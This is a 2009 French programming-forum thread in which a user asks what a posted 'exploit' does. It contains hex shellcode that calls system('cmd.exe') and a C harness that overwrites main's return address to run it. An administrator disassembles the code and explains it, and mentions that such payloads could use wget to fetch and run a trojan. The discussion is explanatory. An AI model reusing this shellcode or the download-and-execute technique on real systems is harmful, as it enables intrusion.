begin process at 2012 05 29 05:30:14
  Trouver un code source :
 
dans
 
Accueil > Forum > 

C

 > 

Système

 > 

Autre

 > 

explication d'un exploit


Derniers messages déposésPoser une question dans le forum ou lancer une discussion

explication d'un exploit

mercredi 25 mars 2009 à 15:50:46 | explication d'un exploit

dyroj

salut a tous,
je voudrais qu'on mexplique a quoi sert cette exploit, j'ai bien compri qu'il execute un shell mais je pourai faire la meme chose avec : system("cmd.exe");.

exploit:

#include <stdlib.h>
#include <string.h>
unsigned char shellcode[] =
"\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
"\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
"\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
"\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}

++
mercredi 25 mars 2009 à 16:49:52 | Re : explication d'un exploit

buno

Administrateur CodeS-SourceS
Hello,
Pas d'exploit là dedans: ce code affiche juste la longueur de la chaine shellcode, c'est tout...

@+
Buno
----------------------------------------
L'urgent est fait, l'impossible est en cours. Pour les miracles, prévoir un délai...
mercredi 25 mars 2009 à 18:04:04 | Re : explication d'un exploit

dyroj

et sa alors : (*ret)=(int)shellcode;
il mais bien le shell code en memoir pour quil soit executer a la prochaine instruction, qui affichera un shell 'cmd.exe'
++
mercredi 25 mars 2009 à 20:08:53 | Re : explication d'un exploit

rt15

Membre Club Administrateur CodeS-SourceS
Salut,

7c911230 b8ffefffff       mov     eax,0xffffefff
7c911235 f7d0             not     eax
7c911237 2be0             sub     esp,eax
7c911239 55               push    ebp
7c91123a 8bec             mov     ebp,esp
7c91123c 33ff             xor     edi,edi
7c91123e 57               push    edi
7c91123f 83ec04           sub     esp,0x4
7c911242 c645f863         mov     byte ptr [ebp-0x8],0x63
7c911246 c645f96d         mov     byte ptr [ebp-0x7],0x6d
7c91124a c645fa64         mov     byte ptr [ebp-0x6],0x64
7c91124e c645fb2e         mov     byte ptr [ebp-0x5],0x2e
7c911252 c645fc65         mov     byte ptr [ebp-0x4],0x65
7c911256 c645fd78         mov     byte ptr [ebp-0x3],0x78
7c91125a c645fe65         mov     byte ptr [ebp-0x2],0x65
7c91125e 8d45f8           lea     eax,[ebp-0x8]
7c911261 50               push    eax
7c911262 bbc793bf77       mov     ebx,0x77bf93c7
7c911267 ffd3             call    ebx

Sachant que 0x77bf93c7 est l'adresse de la fonction system de la dll msvcrt.dll de mon XP. Drôle de coincidence !

La partie hexa est un shellcode. C'est un bout de code utilisé lors d'un exploit. Globalement, lors d'un exploit, on s'arrange pour exécuter du code, le shell code, alors qu'on ne devrait pas avoir le droit de le faire.

Un shell code sert généralement à prendre la main sur la machine cible, ou à exécuter du code avec des droits particuliers.

Un shell code est difficile à écrire car il y a souvent des contraintes fortes : portabilité, capacité à s'exécuter à n'importe quelle adresse, taille réduite...

Dans ton cas, la partie C sert à mettre l'adresse de ton shell code comme valeur de retour après exécution de la fonction main. La pile est comme suit ;

adresse de retour
ebp
ret

Donc pour faire pointer ret sur l'adresse de retour, on retire deux par rapport à son adresse. C'est assez tordu.

En fin de main, on exécute donc le shell code -> on exécute du code qui ne devrait pas -> on fait un exploit.

Cet exploit n'a aucun intérêt si ce n'est didactique et démonstratif.

mercredi 25 mars 2009 à 20:10:02 | Re : explication d'un exploit

rt15

Membre Club Administrateur CodeS-SourceS
on retire deux

On ajoute deux. La pile croît suivant les adresses décroissantes.
mercredi 25 mars 2009 à 20:32:29 | Re : explication d'un exploit

dyroj

merci pour la reponce,
mais a quoi sert un exploit qui exploite un programme comme msn si se nest que pour ouvrir cmd.
++

jeudi 26 mars 2009 à 11:16:30 | Re : explication d'un exploit

rt15

Membre Club Administrateur CodeS-SourceS
Ouvrir cmd.exe sur une machine distante n'a effectivement aucun intérêt...

Mais avec un code similaire, sous un Linux par exemple, en appelant system, on peut remplacer cmd.exe par une ligne de commande qui télécharge (Via la commande wget) un binaire et l'exécute. Ce binaire peut par exemple être un trojan permettant de prendre la main sur la machine cible.
jeudi 26 mars 2009 à 12:35:14 | Re : explication d'un exploit

dyroj

je voi javai pas pencer a sa, mais il y a un ik comment peut-on executer notre shellcode sur une machin distante sans intervenir physiquement?
++
jeudi 26 mars 2009 à 13:46:44 | Re : explication d'un exploit

rt15

Membre Club Administrateur CodeS-SourceS
Il faut exploiter une faille, de type stack buffer overflow par exemple.

Cela dit, ce n'est pas un sujet à évoquer sur cppfrance :

10. On ne pose pas de question en rapport avec virus, crack, hack, trojan etc...
jeudi 26 mars 2009 à 14:02:14 | Re : explication d'un exploit

dyroj

ok merci comme meme pour ton aide a ++


Cette discussion est classée dans : exploit, xff, x45, xc6, shellcode


Répondre à ce message

Sujets en rapport avec ce message

Buffer Overflow [ par david_fryda ] Salut a tous,J'essaies en vain de provoquer un depassement de memoire dans un buffer que j'ai cree.Voici le code :char buf[120]; LoadLibrary("msvcrt. envoyez une commande telnet "\x00" dans un String [ par brico07 ] Bonjour, j'établi une communication entre deuc ordinateur. Je suis le client qui envoie des commandes aux serveur. Le Logiciel sur lequel je développe question sur shellcode [ par miki42 ] Bonjour a tous, voila une simple question j'apprends les buffers overflows, en essayant de créer des exploits simple sur des programmes deja anciens e


Nos sponsors


Sondage...

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,499 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales